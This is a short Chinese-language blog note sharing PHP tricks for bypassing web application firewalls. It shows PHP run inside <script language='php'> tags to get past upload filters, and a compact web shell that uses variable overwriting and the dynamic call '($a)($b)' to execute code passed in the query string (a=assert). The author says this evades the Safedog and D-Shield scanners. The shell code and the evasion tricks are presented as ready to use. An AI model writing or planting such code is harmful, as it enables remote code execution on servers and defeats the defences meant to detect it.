[关闭]
@1kbfree 2018-10-07T19:14:29.000000Z 字数 641 阅读 1152

php的一些小技巧过waf(以后遇到了更多会更新~)

PHP


利用 script 标签执行 php 代码

版本要求:7.0 以下

创建一个test.php文件,内容如下

  1. <script language="php">
  2. phpinfo();
  3. </script>

然后他会去执行phpinfo()函数

image_1cp5kf25h4c9eoapccg6k1ro79.png-95kB

这个写法可以用来绕过那些检测上传的内容是否存在<?phpwaf

利用php动态调用函数

版本要求:貌似只允许 7.x (我用5.x的时候会显示 Parse error: syntax error, unexpected '('

  1. <?php
  2. foreach ($_GET as $key => $value) {
  3. $$key = $value;
  4. }
  5. ( $a )( $b );

然后访问 http://127.0.0.1/test.php?a=assert&b=phpinfo(); 就等于执行了phpinfo()函数

image_1cp6p732pbbl18gr5gr3hj4fvp.png-143.3kB

这里的 $$key 用处:比如 $key 的值是 a 然后前面有个 $ 符号,然后他就会变成 $a 就变成一个变量了,这个就叫做变量覆盖~

这里的(函数)(函数)就是php动态调用函数的写法,写个小案例

  1. <?php
  2. function nm( $str ){
  3. echo $str;
  4. }
  5. ( 'nm' )( '你妹,日,干,嚓,无敌,安排' ); // 调用 nm 函数,并且传递后面的值

image_1cp6pbdf0ftn1q1u5kp1it262116.png-33.6kB

上面的代码还可以用来绕过安全狗以及D盾~ 效果如下

安全狗:

image_1cp6pfapf1ur81ktuupr15g83u51j.png-67.2kB

D盾:

image_1cp6pgecclfn1fg0gk146u1svl30.png-136.4kB

但是这个只能在php 7.x情况下面才可以 = v =

还有一种办法可以绕,文章链接:https://www.zybuluo.com/1kbfree/note/1299322

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注